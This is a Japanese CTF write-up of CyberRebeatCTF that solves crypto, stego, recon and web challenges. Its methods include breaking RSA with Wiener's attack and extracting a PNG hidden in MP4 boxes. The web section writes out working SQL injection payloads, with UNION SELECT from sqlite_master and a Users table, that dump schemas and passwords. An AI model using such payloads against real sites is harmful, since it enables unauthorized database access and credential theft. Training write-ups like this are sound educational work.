CTF Writeup CyberRebeatCTF » 履歴 » バージョン 1
kanata, 2025/04/13 15:22
1 | 1 | kanata | # CTF Writeup CyberRebeatCTF |
---|---|---|---|
2 | |||
3 | {{toc}} |
||
4 | |||
5 | # 結果&感想 |
||
6 | |||
7 | {{rawhtml(<blockquote class="embedly-card"><h4><a href="https://ennach.sakura.ne.jp/CyberRebeatCTF/index_jp.html">CyberRebeatCTF</a></h4><p>Love UI Kit.</p></blockquote><script async src="//cdn.embedly.com/widgets/platform.js" charset="UTF-8"></script>)}} |
||
8 | |||
9 | {{rawhtml(<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr"><a href="https://twitter.com/hashtag/CyberRebeatCTF?src=hash&ref_src=twsrc%5Etfw">#CyberRebeatCTF</a> 開催前まであんまり話に上がってこなかったし、チームメンバも集められなかったから<br>よーし、こっそり参加して1位取っちゃうぞーとイキってたら<br>しっかり強豪チーム参加してるし、解けない問題あるしもう辛い</p>— kanata (@kanata201612) <a href="https://twitter.com/kanata201612/status/1038548015982698496?ref_src=twsrc%5Etfw">2018年9月8日</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> )}} |
||
10 | |||
11 | でも結構解けて3232点で26位。チーム一人にしては頑張った方では |
||
12 | |||
13 |  |
||
14 | |||
15 |  |
||
16 | |||
17 | writeupは、すごい簡単なヤツは省略しました |
||
18 | |||
19 | # Binary - SimpleBinary |
||
20 | |||
21 | [peda](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn#gdb-peda%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%89%8B%E9%A0%86)でステップ実行するだけ |
||
22 | |||
23 |  |
||
24 | |||
25 | # Crypto - Rotation |
||
26 | |||
27 | 問題 |
||
28 | |||
29 | ``` |
||
30 | P4P6S{9RN4RUNPXR45} |
||
31 | ``` |
||
32 | |||
33 | ROT13の亜種と踏んで対応表を作る |
||
34 | |||
35 | >P4P6SはCRCTFになることが判っているので、それをヒントに |
||
36 | |||
37 | ``` |
||
38 | 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ |
||
39 | NOPQRSTUVWXYZ__________ABCDEFGHIJKLM |
||
40 | |||
41 | P4P6S{9RN4RUNPXR45} |
||
42 | CRCTF{WEAREHACKERS} |
||
43 | ``` |
||
44 | |||
45 | # Crypto FLAG.encrypted |
||
46 | |||
47 | 暗号文と公開鍵を渡される |
||
48 | |||
49 | 公開鍵を見てみる |
||
50 | |||
51 | ``` |
||
52 | $ openssl rsa -text -pubin < public-key.pem |
||
53 | Public-Key: (2048 bit) |
||
54 | Modulus: |
||
55 | 00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2: |
||
56 | 94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f: |
||
57 | a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e: |
||
58 | 8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83: |
||
59 | 93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35: |
||
60 | e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5: |
||
61 | 41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39: |
||
62 | f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24: |
||
63 | dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70: |
||
64 | 9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4: |
||
65 | 7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38: |
||
66 | 70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98: |
||
67 | d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa: |
||
68 | fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49: |
||
69 | 06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2: |
||
70 | c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68: |
||
71 | a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6: |
||
72 | cf:9d |
||
73 | Exponent: |
||
74 | 00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96: |
||
75 | 97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79: |
||
76 | c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8: |
||
77 | ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3: |
||
78 | 55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d: |
||
79 | 60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90: |
||
80 | 7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c: |
||
81 | a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5: |
||
82 | 3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9: |
||
83 | d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60: |
||
84 | fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4: |
||
85 | eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0: |
||
86 | 5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8: |
||
87 | 33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7: |
||
88 | 0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9: |
||
89 | 96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1: |
||
90 | 73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7: |
||
91 | 33:e1 |
||
92 | writing RSA key |
||
93 | -----BEGIN PUBLIC KEY----- |
||
94 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU |
||
95 | PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz |
||
96 | +OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX |
||
97 | 3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9 |
||
98 | 7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he |
||
99 | GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP |
||
100 | nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc |
||
101 | Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+ |
||
102 | 5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr |
||
103 | WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1 |
||
104 | CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN |
||
105 | QC0svfFztL90YRAwcTtPjV9b7+cz4Q== |
||
106 | -----END PUBLIC KEY----- |
||
107 | ``` |
||
108 | |||
109 | e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、[Wiener's Attack](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Crypto#Wiener39s-Attack-Boneh-Durfee39s-low-private-exponent-Attack)という方法で秘密鍵を作ることができる |
||
110 | |||
111 | という訳で[ココ](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Crypto#Wiener39s-Attack-Boneh-Durfee39s-low-private-exponent-Attack)を参考にする(これを解くpythonスクリプトが[公開](https://github.com/pablocelayes/rsa-wiener-attack)されている) |
||
112 | |||
113 | RSAwienerHacker.py |
||
114 | |||
115 | ```python |
||
116 | ''' |
||
117 | Created on Dec 14, 2011 |
||
118 | |||
119 | @author: pablocelayes |
||
120 | ''' |
||
121 | |||
122 | import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator |
||
123 | |||
124 | def hack_RSA(e,n): |
||
125 | ''' |
||
126 | Finds d knowing (e,n) |
||
127 | applying the Wiener continued fraction attack |
||
128 | ''' |
||
129 | frac = ContinuedFractions.rational_to_contfrac(e, n) |
||
130 | |||
131 | 中略 |
||
132 | |||
133 | if __name__ == "__main__": |
||
134 | #test_is_perfect_square() |
||
135 | #print("-------------------------") |
||
136 | #test_hack_RSA() |
||
137 | e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049 |
||
138 | n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341 |
||
139 | c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412 |
||
140 | |||
141 | hacked_d = hack_RSA(e, n) |
||
142 | |||
143 | m=pow(c, hacked_d, n) |
||
144 | print m |
||
145 | print("%0512x" %m).decode("hex") |
||
146 | ``` |
||
147 | |||
148 | 出た |
||
149 | |||
150 | ``` |
||
151 | $ python RSAwienerHacker.py |
||
152 | Hacked! |
||
153 | 11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714 |
||
154 | Dx abyb}0<ƁOGK} |
||
155 | B."Yϱ |
||
156 | 2:JY\ umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.} |
||
157 | ``` |
||
158 | |||
159 | # Misc - Readme |
||
160 | |||
161 |  |
||
162 | |||
163 | 気合で読む、こんな感じ |
||
164 | |||
165 |  |
||
166 | |||
167 | # Programing - Calculation |
||
168 | |||
169 | ``` |
||
170 | nc 59.106.212.75 8080 |
||
171 | ``` |
||
172 | |||
173 | こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す |
||
174 | みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで |
||
175 | |||
176 | ```bash |
||
177 | #!/bin/sh |
||
178 | |||
179 | exec 5<>/dev/tcp/59.106.212.75/8080 |
||
180 | |||
181 | for I in {1..101} |
||
182 | do |
||
183 | cat 0<&5>test.txt & |
||
184 | sleep 1 |
||
185 | pkill cat |
||
186 | ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc` |
||
187 | echo ${ANSWER} >&5 |
||
188 | echo Debug [${I}] $(cat test.txt) '=' ${ANSWER} |
||
189 | done |
||
190 | |||
191 | exit 0 |
||
192 | ``` |
||
193 | |||
194 | # Programing - Prime Factor |
||
195 | |||
196 | ``` |
||
197 | Answer the maximum prime factor. |
||
198 | |||
199 | nc 59.106.212.75 8081 |
||
200 | |||
201 | example: |
||
202 | Question:120 |
||
203 | Answer:5 (Prime Factors: 2, 3, 5) |
||
204 | ``` |
||
205 | |||
206 | こういうのもシェルスクリプトでサクッといけるんやで(2回目) |
||
207 | |||
208 | ```bash |
||
209 | #!/bin/sh |
||
210 | |||
211 | exec 5<>/dev/tcp/59.106.212.75/8081 |
||
212 | |||
213 | for I in {1..101} |
||
214 | do |
||
215 | cat 0<&5>test.txt & |
||
216 | sleep 1 |
||
217 | pkill cat |
||
218 | ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'` |
||
219 | echo ${ANSWER} >&5 |
||
220 | echo Debug [${I}] $(cat test.txt) '=' ${ANSWER} |
||
221 | done |
||
222 | |||
223 | exit 0 |
||
224 | ``` |
||
225 | |||
226 | # Recon - Tweet |
||
227 | |||
228 | ``` |
||
229 | Let's check our official twitter account! |
||
230 | ``` |
||
231 | |||
232 | はい |
||
233 | |||
234 | {{rawhtml(<blockquote class="twitter-tweet" data-lang="ja"><p lang="en" dir="ltr">CRCTF{CyberRebeatCTF_has_started!}</p>— CyberRebeat (@CyberRebeat) <a href="https://twitter.com/CyberRebeat/status/1038306822602416128?ref_src=twsrc%5Etfw">2018年9月8日</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> )}} |
||
235 | |||
236 | # Recon - CyberRebeatScripts |
||
237 | |||
238 | ``` |
||
239 | Do you know Github? |
||
240 | ``` |
||
241 | |||
242 | 調べると出てくる |
||
243 | |||
244 | https://github.com/ennach/CyberRebeatScripts |
||
245 | |||
246 | これを git clone して、git log -p する |
||
247 | |||
248 | ``` |
||
249 | commit 86cc1779522ad0708ad0b829935b08ac42b2588d |
||
250 | Author: ennach <ennach@gmail.com> |
||
251 | Date: Tue Sep 4 22:38:27 2018 +0900 |
||
252 | |||
253 | delete FLAG |
||
254 | |||
255 | diff --git a/chapter1-1en.txt b/chapter1-1en.txt |
||
256 | index db0ded3..a16cc12 100644 |
||
257 | --- a/chapter1-1en.txt |
||
258 | +++ b/chapter1-1en.txt |
||
259 | @@ -98,7 +98,6 @@ |
||
260 | "Hiro, I'll take the lady to go." |
||
261 | "Neko-san already did that joke." |
||
262 | @erase_chara |
||
263 | -@FLAG=CRCTF{I cut down her gag in a single strike} |
||
264 | ``` |
||
265 | |||
266 | # Recon - I changed my history on Github! |
||
267 | |||
268 | ``` |
||
269 | I changed my history on Github! |
||
270 | ``` |
||
271 | |||
272 | ちょっとハマった。該当のリポジトリ |
||
273 | |||
274 | https://github.com/ennach/ChangeHistory |
||
275 | |||
276 | 消されたコミットIDは、このページから解る |
||
277 | |||
278 | https://github.com/ennach |
||
279 | |||
280 | > [ToDo] I committed the FLAG by mistake! |
||
281 | > |
||
282 | >That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it! |
||
283 | |||
284 | 無かった事にされたコミットIDは、git cloneしても持ってこれない |
||
285 | ただGitHub上にはあるという事を以下のサイトで知った |
||
286 | |||
287 | No Purpose - GitHub、消えたコミットを追え |
||
288 | http://highwide.hatenablog.com/entry/2015/02/06/204552 |
||
289 | |||
290 | という訳で、以下にアクセスすると解る |
||
291 | https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486 |
||
292 | |||
293 | ``` |
||
294 | + からあげとご飯を皿に移し、電子レンジへ放り込む。 |
||
295 | + ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。 |
||
296 | + なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。 |
||
297 | +「この量なら2分くらいかな」 |
||
298 | + コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。 |
||
299 | + まるで隣の家に宅配便を送るみたいな迂遠さだ。 |
||
300 | +「これ、もっとどうにかならないの?」 |
||
301 | +「CRCTF{the timer is set to 120 seconds}」 |
||
302 | ``` |
||
303 | |||
304 | # Stegano - secret.pdf |
||
305 | |||
306 | 黒塗りされたpdfが渡される |
||
307 | |||
308 |  |
||
309 | |||
310 | コピペで中身見れる |
||
311 | |||
312 | ``` |
||
313 | FLAG is CRCTF{I don't know of a time without the internet} |
||
314 | ``` |
||
315 | |||
316 | # Stegano - Alpha |
||
317 | |||
318 |  |
||
319 | |||
320 | これに何か入っているらしい |
||
321 | 色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない |
||
322 | |||
323 |  |
||
324 | |||
325 | png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた |
||
326 | |||
327 | [うさみみハリケーン](https://www.vector.co.jp/soft/win95/prog/se375830.html)の付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った |
||
328 | |||
329 | うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について |
||
330 | https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html |
||
331 | |||
332 | と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る |
||
333 | |||
334 |  |
||
335 | |||
336 | # Stegano - Last 5 boxes |
||
337 | |||
338 | ``` |
||
339 | The FLAG is hiding at the last 5 boxes. |
||
340 | |||
341 | https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4 |
||
342 | ``` |
||
343 | |||
344 | けっこう時間かかった。。 |
||
345 | |||
346 | mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい |
||
347 | [mp4box](https://www.videohelp.com/software/MP4Box)というツールで見てみる |
||
348 | |||
349 | ``` |
||
350 | <?xml version="1.0" encoding="UTF-8"?> |
||
351 | <!--MP4Box dump trace--> |
||
352 | <IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4"> |
||
353 | <FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0"> |
||
354 | <BrandEntry AlternateBrand="M4V "/> |
||
355 | <BrandEntry AlternateBrand="M4A "/> |
||
356 | |||
357 | 中略 |
||
358 | |||
359 | </MovieBox> |
||
360 | <MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107"> |
||
361 | </MediaDataBox> |
||
362 | <UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" > |
||
363 | </UUIDBox> |
||
364 | <UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" > |
||
365 | </UUIDBox> |
||
366 | <UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" > |
||
367 | </UUIDBox> |
||
368 | <UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" > |
||
369 | </UUIDBox> |
||
370 | <UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" > |
||
371 | </UUIDBox> |
||
372 | </IsoMediaFile> |
||
373 | ``` |
||
374 | |||
375 | なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい |
||
376 | 見てみますか |
||
377 | |||
378 |  |
||
379 | |||
380 | あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ |
||
381 | きっとお尻にpngがくっついてるね! |
||
382 | しかし、これを切り出して表示したけど、真っ黒 |
||
383 | |||
384 | おそらく、残りの4box分のヘッダ情報を取り除かなければ! |
||
385 | ファイルフォーマットを確認してみる |
||
386 | |||
387 | あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造 |
||
388 | https://albel06.hatenablog.com/entry/2017/12/20/205103 |
||
389 | |||
390 | こうなってて |
||
391 | |||
392 | ``` |
||
393 | aligned(8) class Box (unsigned int(32) box type, |
||
394 | optional unsigned int(8)[16] extended_type) { |
||
395 | unsigned int(32) size; |
||
396 | unsigned int(32) type = boxtype; |
||
397 | if (size == 1) { |
||
398 | unsigned int(64) largesize; |
||
399 | } else if (size == 0) { |
||
400 | // box extends to end of file |
||
401 | } |
||
402 | if (boxtype == 'uuid') { |
||
403 | unsigned int(8)[16] usertype = extended_type; |
||
404 | } |
||
405 | } |
||
406 | ``` |
||
407 | |||
408 | こうなってるらしい |
||
409 | |||
410 | |||
411 | >ユーザー定義Box |
||
412 | >Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。 |
||
413 | |||
414 | |||
415 | どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる |
||
416 | |||
417 |  |
||
418 | |||
419 | あーはいはい、そういうことね完全に理解した |
||
420 | 仕様通りや |
||
421 | |||
422 | ``` |
||
423 | 00 00 04 00 : size 1024 byte |
||
424 | 75 75 69 64 : type "uuid" |
||
425 | 07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid |
||
426 | ``` |
||
427 | |||
428 | という訳でこれらを削除してpng画像完成! |
||
429 | |||
430 |  |
||
431 | |||
432 | # Web - White page |
||
433 | |||
434 | ``` |
||
435 | http://hidden-field.cyberrebeat.adctf.online/index.php |
||
436 | id:Hiro |
||
437 | password:LittleGarden |
||
438 | ``` |
||
439 | |||
440 | ログインしたくてもできないページ |
||
441 | Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる |
||
442 | これをデベロッパーツールで削除すればログインできる |
||
443 | |||
444 |  |
||
445 | |||
446 | はい |
||
447 | |||
448 |  |
||
449 | |||
450 | # Web - Uploader |
||
451 | |||
452 | ``` |
||
453 | Find the secret file. |
||
454 | http://sqli.cyberrebeat.adctf.online/index.php |
||
455 | |||
456 | id:guest |
||
457 | pass:guest |
||
458 | ``` |
||
459 | |||
460 | なんかいろいろやっていると SQL Injection の脆弱性を見つけた |
||
461 | エラーメッセージからSQLiteだという事もわかった |
||
462 | |||
463 | File Name: にこれを入力 |
||
464 | |||
465 | ``` |
||
466 | ' OR 'A' = 'A' -- |
||
467 | ``` |
||
468 | |||
469 |  |
||
470 | |||
471 | > secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる |
||
472 | |||
473 | SQLiteとわかったので、テーブル情報を抜く |
||
474 | |||
475 | ``` |
||
476 | ' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' -- |
||
477 | ``` |
||
478 | |||
479 |  |
||
480 | |||
481 | ``` |
||
482 | Files CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date` INTEGER NOT NULL, `upload_userid` TEXT ) |
||
483 | Users CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password` TEXT NOT NULL ) |
||
484 | sqlite_sequence CREATE TABLE sqlite_sequence(name,seq) |
||
485 | ``` |
||
486 | |||
487 | ふんふむ。こんなテーブルだね |
||
488 | |||
489 | Files |
||
490 | |||
491 | | id | file_name | publication_date | upload_userid | |
||
492 | |----|-----------|------------------|---------------| |
||
493 | | ? | ? | ? | ? | |
||
494 | |||
495 | Users |
||
496 | |||
497 | | userid | password | |
||
498 | |--------|----------| |
||
499 | | ? | ? | |
||
500 | |||
501 | じゃ、Usersテーブルからパスワード抜きましょ |
||
502 | |||
503 | ``` |
||
504 | ' OR 'A' = 'A' union select userid,password,null,null from Users -- |
||
505 | ``` |
||
506 | |||
507 |  |
||
508 | |||
509 | じゃ、harada seishin0129 でログインしましょう! |
||
510 | |||
511 |  |
||
512 | |||
513 | ほい、zipのパスワードゲット! |
||
514 | zip展開して、コレ |
||
515 | |||
516 | ``` |
||
517 | CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities} |
||
518 | ``` |